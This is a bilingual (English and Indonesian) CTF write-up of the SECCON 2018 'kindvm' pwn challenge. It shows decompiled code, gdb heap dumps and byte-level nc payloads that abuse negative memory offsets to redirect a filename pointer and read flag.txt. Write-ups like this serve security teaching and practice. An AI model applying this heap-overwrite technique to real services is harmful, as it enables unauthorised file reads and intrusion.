# kindvm---**Points:** 255 | **Solves:** 64/653 | **Category:** Pwn
Get hints, and pwn it! kindvm.pwn.seccon.jp 12345
[Download](kindvm_79726158fec11eb1e5a89351db017e13506d3a4a)
---
[Bahasa Indonesia](#bahasa-indonesia)
## English```Input your name : aInput instruction : a _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!Error! Try again!```
The binary takes instructions as input (per-byte) and run it.Here are the instructions.```0 -> insn_nop;1 -> insn_load;2 -> insn_store;3 -> insn_mov;4 -> insn_add;5 -> insn_sub;6 -> insn_halt;7 -> insn_in;8 -> insn_out;9 -> insn_hint;```
Wait, the binary have gets in input name!Let's exploit it!```cppchar *input_username(){  char *dest; // ST18_4  size_t v1; // eax  char s; // [esp+12h] [ebp-16h]  unsigned int v4; // [esp+1Ch] [ebp-Ch]
  v4 = __readgsdword(0x14u);  printf("Input your name : ");  gets(&s);  dest = (char *)malloc(0xAu);  v1 = strlen(&s);  dest[9] = 0;  strncpy(dest, &s, v1);  return dest;}```
Well.```Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa _   _ _       _   _    ____ _____ _____   _ | | | (_)_ __ | |_/ |  / ___| ____|_   _| | || |_| | | '_ \| __| | | |  _|  _|   | |   | ||  _  | | | | | |_| | | |_| | |___  | |   |_||_| |_|_|_| |_|\__|_|  \____|_____| |_|   (_) 
Nice try! The theme of this binary is not Stack-Based BOF!However, your name is not meaningless...```
Okay, moving on. Let's just call instruction 9 (hint).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x09\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _   _ _       _   ____     ____ _____ _____   _ | | | (_)_ __ | |_|___ \   / ___| ____|_   _| | || |_| | | '_ \| __| __) | | |  _|  _|   | |   | ||  _  | | | | | |_ / __/  | |_| | |___  | |   |_||_| |_|_|_| |_|\__|_____|  \____|_____| |_|   (_) Nice try! You can analyze vm instruction and execute it!Flag file name is "flag.txt".```
Sure!We also see a third hint in the binary (insn_add).```_DWORD *insn_add(){  _DWORD *result; // eax  unsigned __int8 v1; // [esp+Ah] [ebp-Eh]  unsigned __int8 v2; // [esp+Bh] [ebp-Dh]  signed int v3; // [esp+Ch] [ebp-Ch]
  v1 = load_insn_uint8_t();  v2 = load_insn_uint8_t();  if ( v1 > 7u )    kindvm_abort();  if ( v2 > 7u )    kindvm_abort();  if ( *((_DWORD *)reg + v1) >= 0 )    v3 = 1;  result = (char *)reg + 4 * v1;  *result += *((_DWORD *)reg + v2);  if ( v3 )  {    result = (_DWORD *)*((_DWORD *)reg + v1);    if ( (signed int)result < 0 )      hint3();  }  return result;```
It requires user to have reg + v1 of negative value. Let's try to load by `in` (7) function.```cppint insn_in(){  int result; // eax  unsigned __int8 v1; // [esp+Bh] [ebp-Dh]  int v2; // [esp+Ch] [ebp-Ch]
  v1 = load_insn_uint8_t();  v2 = load_insn_uint32_t();  if ( v1 > 7u )    kindvm_abort();  result = v2;  *((_DWORD *)reg + v1) = v2;  return result;}
int load_insn_uint32_t(){  unsigned __int8 *v0; // ebx  int v1; // ST0C_4  unsigned __int8 *v2; // ebx  int v3; // ST0C_4  unsigned __int8 *v4; // ebx  int v5; // ST0C_4  unsigned __int8 *v6; // ebx  int v7; // ST0C_4
  v0 = (unsigned __int8 *)insn;  v1 = v0[get_pc()];  step();  v2 = (unsigned __int8 *)insn;  v3 = v2[get_pc()] + (v1 << 8);  step();  v4 = (unsigned __int8 *)insn;  v5 = v4[get_pc()] + (v3 << 8);  step();  v6 = (unsigned __int8 *)insn;  v7 = v6[get_pc()] + (v5 << 8);  step();  return v7;}```
Okay. So, we need to input register (0 - 7) and number (first input is the most significant byte).Let's do reg0 = 0xffffffff and then add r0 to r0 -> r0 = -1 + -1 = -2 (still negative).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x07\x00\xff\xff\xff\xff\x04\x00\x00\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _   _ _       _   _____    ____ _____ _____   _ | | | (_)_ __ | |_|___ /   / ___| ____|_   _| | || |_| | | '_ \| __| |_ \  | |  _|  _|   | |   | ||  _  | | | | | |_ ___) | | |_| | |___  | |   |_||_| |_|_|_| |_|\__|____/   \____|_____| |_|   (_) Nice try! You can cause Integer Overflow!The value became minus value. Minus value is important.```
Nice, we got (maybe) all the hints. Now, we just need to read `flag.txt`.Some notes, `reg` is stored in heap. There is also `mem` stored in heap. We can store and load `mem` with the instruction load and store.
The hint states about integer overflow, so maybe integer overflow in heap.Let's see what else is in the heap.```  v0 = malloc(0x18u);  kc = (int)v0;  *v0 = 0;  *(_DWORD *)(kc + 4) = 0;  v1 = kc;  *(_DWORD *)(v1 + 8) = input_username();  *(_DWORD *)(kc + 12) = "banner.txt";  *(_DWORD *)(kc + 16) = func_greeting;  *(_DWORD *)(kc + 20) = func_farewell;  mem = malloc(0x400u);  memset(mem, 0, 0x400u);  reg = malloc(0x20u);  memset(reg, 0, 0x20u);  insn = malloc(0x400u);  result = memset(mem, 65, 0x400u);```
So, username is in the heap (hint says it is useful), also banner.txt, func_greeting, and func_farewell.If we can overflow and write in the heap then maybe we can change func_farewell to execute anything.Let's see what func_farewell does.```cppssize_t func_farewell(){  open_read_write(*(char **)(kc + 12));  return write(1, "Execution is end! Thank you!\n", 0x1Du);}```
It reads `kc+12` which is `banner.txt` and writes it!Well then, if we can change `kc+12` to `flag.txt` by rewriting it to `name` (filled with `flag.txt`), we will get the flag.Let's see the heap then.```gdb-peda$ x/20wx 0x804c1680x804c168:   0x0804c180 <= name   0x080491b2 <= banner.txt  0x08048f89 <= greeting  0x08048fba <= farewell0x804c178:   0x00000000           0x00000011                0x00000000              0x000000000x804c188:   0x00000000           0x00000411                0x41414141 <= mem_start 0x414141410x804c198:   0x41414141           0x41414141                0x41414141              0x414141410x804c1a8:   0x41414141           0x41414141                0x41414141              0x41414141```
Plan: read `name` -> write it to `banner.txt`.```load mem-40 to reg0 -> store reg0 to mem-36```
```asdf@asdf:~/Desktop/CTF/ctf/seccon2018/classic-pwn$ echo -e 'flag.txt\n\x01\x00\xff\xd8\x02\xff\xdc\x00\x06' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!SECCON{s7ead1ly_5tep_by_5tep}Execution is end! Thank you!```Flag is captured!
## Bahasa Indonesia```Input your name : aInput instruction : a _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!Error! Try again!```
Program membaca input (1 instruksi 1 byte) dan menjalankannya.Berikut instruksinya.```0 -> insn_nop;1 -> insn_load;2 -> insn_store;3 -> insn_mov;4 -> insn_add;5 -> insn_sub;6 -> insn_halt;7 -> insn_in;8 -> insn_out;9 -> insn_hint;```
Program memanggil `gets`! Dicoba buffer overflow.```cppchar *input_username(){  char *dest; // ST18_4  size_t v1; // eax  char s; // [esp+12h] [ebp-16h]  unsigned int v4; // [esp+1Ch] [ebp-Ch]
  v4 = __readgsdword(0x14u);  printf("Input your name : ");  gets(&s);  dest = (char *)malloc(0xAu);  v1 = strlen(&s);  dest[9] = 0;  strncpy(dest, &s, v1);  return dest;}```
Hmm.```Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa _   _ _       _   _    ____ _____ _____   _ | | | (_)_ __ | |_/ |  / ___| ____|_   _| | || |_| | | '_ \| __| | | |  _|  _|   | |   | ||  _  | | | | | |_| | | |_| | |___  | |   |_||_| |_|_|_| |_|\__|_|  \____|_____| |_|   (_) 
Nice try! The theme of this binary is not Stack-Based BOF!However, your name is not meaningless...```
Okay, lanjut. Mari panggil instruksi 9 (hint).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x09\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _   _ _       _   ____     ____ _____ _____   _ | | | (_)_ __ | |_|___ \   / ___| ____|_   _| | || |_| | | '_ \| __| __) | | |  _|  _|   | |   | ||  _  | | | | | |_ / __/  | |_| | |___  | |   |_||_| |_|_|_| |_|\__|_____|  \____|_____| |_|   (_) Nice try! You can analyze vm instruction and execute it!Flag file name is "flag.txt".```
Sip!Dapat dilihat juga terdapat hint ketiga (insn_add).```_DWORD *insn_add(){  _DWORD *result; // eax  unsigned __int8 v1; // [esp+Ah] [ebp-Eh]  unsigned __int8 v2; // [esp+Bh] [ebp-Dh]  signed int v3; // [esp+Ch] [ebp-Ch]
  v1 = load_insn_uint8_t();  v2 = load_insn_uint8_t();  if ( v1 > 7u )    kindvm_abort();  if ( v2 > 7u )    kindvm_abort();  if ( *((_DWORD *)reg + v1) >= 0 )    v3 = 1;  result = (char *)reg + 4 * v1;  *result += *((_DWORD *)reg + v2);  if ( v3 )  {    result = (_DWORD *)*((_DWORD *)reg + v1);    if ( (signed int)result < 0 )      hint3();  }  return result;```
Untuk mendapaatkan hint nilai `reg + v1` harus negatif. Mari coba buat nilai reg negatif dengan fungsi `in` (7).```cppint insn_in(){  int result; // eax  unsigned __int8 v1; // [esp+Bh] [ebp-Dh]  int v2; // [esp+Ch] [ebp-Ch]
  v1 = load_insn_uint8_t();  v2 = load_insn_uint32_t();  if ( v1 > 7u )    kindvm_abort();  result = v2;  *((_DWORD *)reg + v1) = v2;  return result;}
int load_insn_uint32_t(){  unsigned __int8 *v0; // ebx  int v1; // ST0C_4  unsigned __int8 *v2; // ebx  int v3; // ST0C_4  unsigned __int8 *v4; // ebx  int v5; // ST0C_4  unsigned __int8 *v6; // ebx  int v7; // ST0C_4
  v0 = (unsigned __int8 *)insn;  v1 = v0[get_pc()];  step();  v2 = (unsigned __int8 *)insn;  v3 = v2[get_pc()] + (v1 << 8);  step();  v4 = (unsigned __int8 *)insn;  v5 = v4[get_pc()] + (v3 << 8);  step();  v6 = (unsigned __int8 *)insn;  v7 = v6[get_pc()] + (v5 << 8);  step();  return v7;}```
Jadi, kita perlu memasukkan register (0 - 7) dan nilainya pada input (byte pertama pada nilai paling signifikan).Coba reg0 = 0xffffffff dan panggil add r0 ke r0 -> r0 = -1 + -1 = -2 (seharusnya nilai masih negatif).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x07\x00\xff\xff\xff\xff\x04\x00\x00\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _   _ _       _   _____    ____ _____ _____   _ | | | (_)_ __ | |_|___ /   / ___| ____|_   _| | || |_| | | '_ \| __| |_ \  | |  _|  _|   | |   | ||  _  | | | | | |_ ___) | | |_| | |___  | |   |_||_| |_|_|_| |_|\__|____/   \____|_____| |_|   (_) Nice try! You can cause Integer Overflow!The value became minus value. Minus value is important.```
Yay, dapat (mungkin) semua hint. Sekarang kita perlu membaca `flag.txt`.Beberapa keterangan, `reg` disimpan pada heap. Selain itu ada juga `mem` yang juga disimpan di heap. Kita dapat menggunakan `mem` dengan fungsi load dan store.
Hint yaitu integer overflow, mungkin integer overflow pada heap.Dicek apa saja yang terdapat pada heap.```  v0 = malloc(0x18u);  kc = (int)v0;  *v0 = 0;  *(_DWORD *)(kc + 4) = 0;  v1 = kc;  *(_DWORD *)(v1 + 8) = input_username();  *(_DWORD *)(kc + 12) = "banner.txt";  *(_DWORD *)(kc + 16) = func_greeting;  *(_DWORD *)(kc + 20) = func_farewell;  mem = malloc(0x400u);  memset(mem, 0, 0x400u);  reg = malloc(0x20u);  memset(reg, 0, 0x20u);  insn = malloc(0x400u);  result = memset(mem, 65, 0x400u);```
Jadi, username terdapat pada heap (kata hint username penting), terdapat juga banner.txt, func_greeting, dan func_farewell pada heap.Apabila kita dapat menulis dengan overflow pada heap, maka kita dapat mengubah func_farewell untuk mengeksekusi apapun.Sebelumnya, dicek kegunaan func_farewell.```cppssize_t func_farewell(){  open_read_write(*(char **)(kc + 12));  return write(1, "Execution is end! Thank you!\n", 0x1Du);}```
Fungsi tersebut membaca `kc+12` yang adalah `banner.txt` dan menulisnya!Jadi, jika kita ubah `kc+12` menjadi `flag.txt` dengan mengganti menjadi `name` (berisi `flag.txt`), kita dapat flag.Let's see the heap then.```gdb-peda$ x/20wx 0x804c1680x804c168:   0x0804c180 <= name   0x080491b2 <= banner.txt  0x08048f89 <= greeting  0x08048fba <= farewell0x804c178:   0x00000000           0x00000011                0x00000000              0x000000000x804c188:   0x00000000           0x00000411                0x41414141 <= mem_start 0x414141410x804c198:   0x41414141           0x41414141                0x41414141              0x414141410x804c1a8:   0x41414141           0x41414141                0x41414141              0x41414141```
Rencana: baca `name` -> tulis ke `banner.txt`.```load mem-40 to reg0 -> store reg0 to mem-36```
```asdf@asdf:~/Desktop/CTF/ctf/seccon2018/classic-pwn$ echo -e 'flag.txt\n\x01\x00\xff\xd8\x02\xff\xdc\x00\x06' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction :  _    _           _                 | | _(_)_ __   __| |_   ___ __ ___  | |/ / | '_ \ / _` \ \ / / '_ ` _ \ |   <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!SECCON{s7ead1ly_5tep_by_5tep}Execution is end! Thank you!```Flag didapatkan!